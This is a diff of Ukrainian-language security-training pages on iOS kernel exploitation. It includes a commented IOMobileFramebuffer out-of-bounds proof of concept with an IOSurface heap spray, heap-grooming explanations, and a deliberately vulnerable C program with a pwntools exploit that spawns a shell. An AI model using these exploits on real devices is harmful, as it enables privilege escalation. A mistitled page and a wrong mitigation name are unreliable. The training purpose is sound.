- **Мета:** коли selector 83 читає за межами легітимної таблиці, **OOB слот швидше за все міститиме вказівник на один із ваших (реальних) IOSurface** — отже подальше дереференсування **не впаде** і **успішно виконається**. IOSurface — класичний, добре документований spray-примітив ядра, і пост Saar явно перераховує методи **create / set_value / lookup**, які використовуються в цьому експлойт-флоу.
3. **The "offset/8" trick (what that index really is)**
- У `trigger_oob(offset)` ви встановлюєте `scalars[0] = offset / 8`.
- **Чому ділять на 8?** Ядро робить **`base + index*8`** щоб обчислити який **pointer-sized слот** читати. Ви обираєте **«номер слоту N»**, а не байтовий зсув. **Вісім байтів на слот** у 64-bit.
- Обчислена адреса — **`this + 0xA58 + index*8`**. PoC використовує велике константне значення (`0x1200000 + 0x1048`), просто щоб стрибнути **дуже далеко за межі** у регіон, який ви намагалися **щільно наповнити вказівниками IOSurface**. **Якщо spray „перемагає“, слот, в який ви потрапляєте, — валідний `IOSurface*`.**
4. **What selector 83 returns (this is the subtle part)**
- Виклик такий:
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o
- Всередині, після OOB читання вказівника, драйвер викликає\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
- **Result:** **`output_scalars[0]` — це Mach port name (u32 handle) у вашому процесі** для *того об'єкта-вказівника, який ви надали через OOB*. **Це не сирий kernel address leak; це користувацький дескриптор (send right).** Ця саме поведінка (копіювання *port name*) показана в де компіляції Saara.
**Why that's useful:** маючи **port name** для (суперечливої) IOSurface, ви тепер можете використовувати методи **IOSurfaceRoot**, наприклад:
- **`s_lookup_surface_from_port` (method 34)** → перетворити порт у **surface ID**, з яким можна оперувати через інші IOSurface виклики, та
- **`s_create_port_from_surface` (method 35)** якщо потрібна зворотна операція.\
Saar виокремлює ці саме методи як наступний крок. **PoC доводить, що ви можете «згенерувати» легітимний IOSurface handle з OOB слоту.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps:
```c
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## Посилання
- [Оригінальний writeup від Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [Дослідження від jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,270 @@
# iOS Exploiting
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** в iOS працює так: кожен фрагмент виконуваного коду (додатки, бібліотеки, розширення тощо) повинен бути криптографічно підписаний сертифікатом, виданим Apple. Коли код завантажується, iOS перевіряє цифровий підпис проти довіреного кореневого сертифіката Apple. Якщо підпис недійсний, відсутній або змінений, ОС відмовляє у виконанні. Це перешкоджає зловмисникам інжектити шкідливий код у легітимні програми або запускати непідписані бінарники, ефективно блокуючи більшість експлойт-чейнів, що покладаються на виконання довільного або зміненого коду.
- **CoreTrust** — підсистема iOS, яка відповідає за застосування перевірки підписів під час виконання. Вона безпосередньо перевіряє підписи з використанням кореневого сертифіката Apple без покладання на кешовані сховища довіри, тобто лише бінарі, підписані Apple (або з дійсними entitlements), можуть виконуватись. CoreTrust гарантує, що навіть якщо додаток було змінено після встановлення, модифіковано системні бібліотеки або спробовано завантажити непідписаний код, система заблокує виконання, якщо код не підписано належним чином. Ця сувора перевірка закриває багато post-exploitation векторів, які раніше були доступні через слабші або обхідні перевірки підписів.
- **Data Execution Prevention (DEP)** маркує регіони пам’яті як не виконувані, якщо вони явно не містять коду. Це заважає зловмисникам інжектити shellcode у сегменти даних (наприклад, стек або heap) і виконувати його, змушуючи використовувати складніші техніки, такі як ROP.
- **ASLR (Address Space Layout Randomization)** рандомізує адреси пам’яті для коду, бібліотек, стека та heap щоразу при запуску системи. Це сильно ускладнює для атакуючих передбачення місць корисних інструкцій або gadget-ів, ламуючи багато експлойт-чейнів, які залежать від фіксованого розташування в пам’яті.
- **KASLR (Kernel ASLR)** застосовує ту саму концепцію рандомізації до ядра iOS. Перемішуючи базову адресу ядра при кожному завантаженні, воно перешкоджає надійній локалізації функцій або структур ядра, підвищуючи складність експлойтів на рівні ядра, які могли б інакше отримати повний контроль над системою.
- **Kernel Patch Protection (KPP)**, також відома як **AMCC (Apple Mobile File Integrity)** в iOS, безперервно моніторить кодові сторінки ядра, щоб переконатися, що вони не були змінені. Якщо виявлено будь-яке втручання — наприклад, експлойт, що намагається пропатчити функції ядра або вставити шкідливий код — пристрій негайно зробить panic і перезавантажиться. Цей захід ускладнює створення персистентних експлойтів ядра, оскільки атакуючі не можуть просто підмінити або hook-нути інструкції ядра без виклику системного збою.
- **Kernel Text Readonly Region (KTRR)** — апаратна функція безпеки, введена на iOS-пристроях. Вона використовує контролер пам’яті CPU для позначення секції коду (text) ядра як постійно тільки для читання після завантаження. Після блокування навіть саме ядро не може змінювати цю ділянку пам’яті. Це запобігає можливості патчити інструкції ядра під час виконання, закриваючи велику категорію експлойтів, що покладались на прямі модифікації коду ядра.
- **Pointer Authentication Codes (PAC)** використовують криптографічні підписи, вбудовані в невикористані біти вказівників, щоб перевіряти їх цілісність перед використанням. Коли вказівник (наприклад, адресу повернення або вказівник на функцію) створюється, CPU підписує його секретним ключем; перед роздереференсуванням CPU перевіряє підпис. Якщо вказівник було підроблено, перевірка не проходить і виконання припиняється. Це перешкоджає атакуючим підробляти або повторно використовувати змінені вказівники в помилках корупції пам’яті, ускладнюючи техніки типу ROP або JOP.
- **Privilege Access never (PAN)** — апаратна функція, яка забороняє ядру (режим з привілеями) безпосередньо доступатися до пам’яті користувача, якщо воно явно не ввімкнуло такий доступ. Це ускладнює для атакуючих, що отримали виконання коду в ядрі, просте читання або запис користувацької пам’яті для ескалації привілеїв або крадіжки чутливих даних. Шляхом суворого розділення PAN зменшує вплив експлойтів ядра і блокує багато типових технік ескалації привілеїв.
- **Page Protection Layer (PPL)** — механізм безпеки iOS, який захищає критичні керовані ядром регіони пам’яті, особливо ті, що пов’язані з code signing та entitlements. Він накладає суворі обмеження на запис з використанням MMU (Memory Management Unit) та додаткових перевірок, гарантуючи, що навіть привілейований код ядра не може довільно змінювати чутливі сторінки. Це перешкоджає атакуючим, які отримали виконання на рівні ядра, змінювати критичні структури безпеки, ускладнюючи персистентність і обхід підписів коду.
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
Ядро використовувало **zone allocator** (`kalloc`), розділений на зони фіксованого розміру ("zones").
Кожна зона зберігала лише алокації одного розміру.
From the screenshot:
| Zone Name | Element Size | Example Use |
|----------------------|--------------|-----------------------------------------------------------------------------|
| `default.kalloc.16` | 16 bytes | Дуже малі структури ядра, вказівники. |
| `default.kalloc.32` | 32 bytes | Малі структури, заголовки об’єктів. |
| `default.kalloc.64` | 64 bytes | IPC messages, крихітні kernel буфери. |
| `default.kalloc.128` | 128 bytes | Середні об’єкти, як частини `OSObject`. |
| `default.kalloc.256` | 256 bytes | Більші IPC messages, масиви, структури пристроїв. |
| … | … | … |
| `default.kalloc.1280`| 1280 bytes | Великі структури, IOSurface/graphics метадані. |
Як це працювало:
- Кожен запит на алокацію округлявся вгору до найближчого розміру зони.
(Напр., запит на 50 байт потрапляв у `kalloc.64` зону).
- Пам’ять у кожній зоні зберігалася у **freelist** — чанки, які звільняв kernel, повертались назад у цю зону.
- Якщо ви переповнювали 64-байтовий буфер, ви перезаписували **наступний об’єкт у тій же зоні**.
Ось чому **heap spraying / feng shui** був настільки ефективним: ви могли прогнозувати сусідів об’єктів, розприскуючи алокації одного і того ж розміру.
### The freelist
Всередині кожної kalloc-зони звільнені об’єкти не поверталися напряму системі — вони йшли у freelist, зв’язаний список доступних чанків.
- Коли чанок звільнявся, kernel записував в початок того чанку вказівник → адресу наступного вільного чанку в тій же зоні.
- Зона зберігала HEAD вказівник на перший вільний чанок.
- Алокація завжди використовувала поточний HEAD:
1. Pop HEAD (повернути цю пам’ять викликачу).
2. Update HEAD = HEAD->next (збережено в заголовку звільненого чанка).
- Звільнення штовхало чанки назад:
- `freed_chunk->next = HEAD`
- `HEAD = freed_chunk`
Отже, freelist був просто зв’язаним списком, побудованим всередині самої звільненої пам’яті.
Normal state:
```
Zone page (64-byte chunks for example):
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
Freelist view:
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
(next ptrs stored at start of freed chunks)
```
### Експлуатація freelist
Оскільки перші 8 байтів free chunk = freelist pointer, нападник може його пошкодити:
1. **Heap overflow** у суміжний freed chunk → перезаписати його “next” pointer.
2. **Use-after-free** запис у freed object → перезаписати його “next” pointer.
Потім, при наступному allocation такого розміру:
- Allocator витягає corrupted chunk.
- Слідує за attacker-supplied “next” pointer.
- Повертає pointer до довільної пам'яті, що дозволяє fake object primitives або targeted overwrite.
Візуальний приклад freelist poisoning:
```
Before corruption:
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
After attacker overwrite of F1->next:
HEAD ──► [ F1 ]
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
```
Цей дизайн freelist зробив експлуатацію надзвичайно ефективною до запровадження hardening: predictable neighbors від heap sprays, raw pointer freelist links і відсутність type separation дозволяли атакуючим ескалувати UAF/overflow баги в довільний контроль над пам’яттю ядра.
### Heap Grooming / Feng Shui
The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\
That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data.
**Steps:**
1. Spray allocations (fill the holes)
- Over time, the kernel heap gets fragmented: some zones have holes where old
objects were freed.
- The attacker first makes lots of dummy allocations to fill these gaps, so
the heap becomes “packed” and predictable.
2. Force new pages
- Once the holes are filled, the next allocations must come from new pages
added to the zone.
- Fresh pages mean objects will be clustered together, not scattered across
old fragmented memory.
- This gives the attacker much better control of neighbors.
3. Place attacker objects
- The attacker now sprays again, creating lots of attacker-controlled objects
in those new pages.
- These objects are predictable in size and placement (since they all belong
to the same zone).
4. Free a controlled object (make a gap)
- The attacker deliberately frees one of their own objects.
- This creates a “hole” in the heap, which the allocator will later reuse for
the next allocation of that size.
5. Victim object lands in the hole
- The attacker triggers the kernel to allocate the victim object (the one
they want to corrupt).
- Since the hole is the first available slot in the freelist, the victim is
placed exactly where the attacker freed their object.
6. Overflow / UAF into victim
- Now the attacker has attacker-controlled objects around the victim.
- By overflowing from one of their own objects (or reusing a freed one), they
can reliably overwrite the victims memory fields with chosen values.
**Why it works**:
- Zone allocator predictability: allocations of the same size always come from
the same zone.
- Freelist behavior: new allocations reuse the most recently freed chunk first.
- Heap sprays: attacker fills memory with predictable content and controls layout.
- End result: attacker controls where the victim object lands and what data sits
next to it.
---
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
Apple hardened the allocator and made **heap grooming much harder**:
### 1. From Classic kalloc to kalloc_type
- **Before**: a single `kalloc.<size>` zone existed for each size class (16, 32, 64, … 1280, etc.). Any object of that size was placed there → attacker objects could sit next to privileged kernel objects.
- **Now**:
- Kernel objects are allocated from **typed zones** (`kalloc_type`).
- Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if theyre the same size.
- The mapping between object type ↔ zone is generated from the **kalloc_type system** at compile time.
An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size.
### 2. Slabs and Per-CPU Caches
- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone).
- Each zone has a **per-CPU cache** to reduce contention.
- Allocation path:
1. Try per-CPU cache.
2. If empty, pull from the global freelist.
3. If freelist is empty, allocate a new slab (one or more pages).
- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUs caches.
### 3. Randomization inside zones
- Within a zone, freed elements are not handed back in simple FIFO/LIFO order.
- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14).
- Each freelist pointer is **XOR-encoded** with a per-zone secret cookie.
- This prevents attackers from forging a fake freelist pointer if they gain a write primitive.
- Some allocations are **randomized in their placement within a slab**, so spraying doesnt guarantee adjacency.
### 4. Guarded Allocations
- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**.
- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects.
- Any overflow into the guard page triggers a fault → immediate panic instead of silent corruption.
### 5. Page Protection Layer (PPL) and SPTM
- Even if you control a freed object, you cant modify all of kernel memory:
- **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself.
- On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
- These hardware-enforced layers mean attackers cant escalate from a single heap corruption to arbitrary patching of critical security structures.
### 6. Large Allocations
- Not all allocations go through `kalloc_type`.
- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations.
- These are less predictable, but also less exploitable, since they dont share slabs with other objects.
### 7. Allocation Patterns Attackers Target
Even with these protections, attackers still look for:
- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free.
- **Objects with function pointers (vtables)**: corrupting one still yields control flow.
- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user ↔ kernel.
But — unlike before — you cant just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed.
### Example: Allocation Flow in Modern Heap
Suppose userspace calls into IOKit to allocate an `OSData` object:
1. **Type lookup**`OSData` maps to `kalloc_type_osdata` zone (size 64 bytes).
2. Check per-CPU cache for free elements.
- If found → return one.
- If empty → go to global freelist.
- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes).
3. Return chunk to caller.
**Freelist pointer protection**:
- Each freed chunk stores the address of the next free chunk, but encoded with a secret key.
- Overwriting that field with attacker data wont work unless you know the key.
## Comparison Table
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
## (Old) Physical Use-After-Free via IOSurface
{{#ref}}
ios-physical-uaf-iosurface.md
{{#endref}}
---
## Ghidra Install BinDiff
Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and встановіть його, навіть якщо є несумісність версій.
### Using BinDiff with Kernel versions
1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
{{#endref}}
3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
4. Open each kernelcache so they are automatically analyzed by Ghidra.
5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
---
## Finding the right XNU version
If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,78 @@
# iOS Як підключитися до Corellium
{{#include ../../banners/hacktricks-training.md}}
## **Вимоги**
- A Corellium iOS VM (jailbroken or not). У цьому керівництві передбачається, що у вас є доступ до Corellium.
- Локальні інструменти: **ssh/scp**.
- (Необов'язково) **SSH keys** додані до вашого проєкту Corellium для безпарольного входу.
## **Підключення до iPhone VM з localhost**
### A) **Quick Connect (без VPN)**
0) Додайте ваш ssh key у **`/admin/projects`** (рекомендовано).
1) Відкрийте сторінку пристрою → **Connect**
2) Скопіюйте команду Quick Connect SSH, яку показує Corellium, і вставте її в термінал.
3) Введіть пароль або використайте ваш ключ (рекомендовано).
### B) **VPN → direct SSH**
0) Додайте ваш ssh key у **`/admin/projects`** (рекомендовано).
1) Сторінка пристрою → **CONNECT****VPN** → завантажте `.ovpn` та підключіться через будь-який VPN client, що підтримує TAP mode. (Перевірте [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) якщо виникають проблеми.)
2) Підключіться по SSH до адреси VM **10.11.x.x**:
```bash
ssh root@10.11.1.1
```
## **Завантажити нативний бінарний файл та виконати його**
### 2.1 **Завантаження**
- Якщо Quick Connect дав вам host/port:
```bash
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
```
- Якщо використовуєте VPN (10.11.x.x):
```bash
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
```
## **Завантажити та встановити iOS-додаток (.ipa)**
### Шлях A — **Web UI (найшвидший)**
1) Сторінка пристрою → вкладка **Apps****Install App** → оберіть свій `.ipa`.
2) З тієї ж вкладки ви можете **launch/kill/uninstall**.
### Шлях B — **Scripted via Corellium Agent**
1) Використайте API Agent для **upload**, а потім **install**:
```js
// Node.js (pseudo) using Corellium Agent
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
await agent.install("/var/tmp/app.ipa", (progress, status) => {
console.log(progress, status);
});
```
### Path C — **Не з джейлбрейком (коректне підписування / Sideloadly)**
- Якщо у вас немає provisioning profile, використовуйте **Sideloadly** для повторного підпису за допомогою вашого Apple ID, або підпишіть у **Xcode**.
- Також ви можете відкрити доступ VM до **Xcode** за допомогою **USBFlux** (див. §5).
- Для швидкого перегляду логів/виконання команд без SSH використовуйте пристрій **Console** в інтерфейсі.
## **Додатково**
- **Port-forwarding** (щоб інші інструменти сприймали VM як локальний):
```bash
# Forward local 2222 -> device 22
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
```
- **LLDB remote debugging**: використовуйте адресу **LLDB/GDB stub**, показану внизу сторінки пристрою (CONNECT → LLDB).
- **USBFlux (macOS/Linux)**: подайте VM до **Xcode/Sideloadly** як пристрій, підключений кабелем.
## **Поширені підводні камені**
- **Proper signing** потрібен на **non-jailbroken** пристроях; **unsigned IPAs** не запустяться.
- **Quick Connect vs VPN**: Quick Connect — найпростіший варіант; використовуйте **VPN**, коли потрібен доступ до пристрою у вашій локальній мережі (наприклад, локальні проксі/інструменти).
- **No App Store** на пристроях Corellium; приносіть свої (re)signed IPAs.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,205 @@
# iOS Як підключитися до Corellium
{{#include ../../banners/hacktricks-training.md}}
## Vuln Code
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}
__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}
typedef void (*cb_t)(void);
typedef struct {
cb_t cb; // <--- Your target: overwrite this with win()
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
} hook_t;
static void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);
// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);
// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);
// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}
puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);
// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
h->cb();
puts("[*] Done.");
return 0;
}
```
Скомпілюйте це за допомогою:
```bash
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
```
## Exploit
> [!WARNING]
> Цей exploit встановлює змінну оточення `MallocNanoZone=0`, щоб вимкнути NanoZone. Це потрібно, щоб отримати суміжні виділення при виклику `malloc` з невеликими розмірами. Без цього різні mallocs будуть розміщені в різних зонах і не будуть суміжними, тому overflow не спрацює як очікувалося.
```python
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform
# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
context.clear(arch='amd64')
BIN = './heap_groom'
def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)
def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload
def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'
# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424, # Try slightly less in case of alignment differences
440, # Try slightly more
416, # 16 bytes less
448, # 16 bytes more
0, # Direct adjacency (unlikely but worth trying)
]
log.info("Starting heap overflow exploit for macOS...")
for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)
# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")
# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()
# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)
# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
p.recvline(timeout=0.5) # Skip the "..." part
# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
log.info(f"Failed with extra_pad={extra}, likely crashed")
p.close()
log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
if __name__ == '__main__':
main()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,215 @@
# iOS Physical Use-After-Free via IOSurface
{{#include ../../banners/hacktricks-training.md}}
## Фізичний use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Керування пам'яттю в XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
#### Рівні таблиць сторінок в iOS
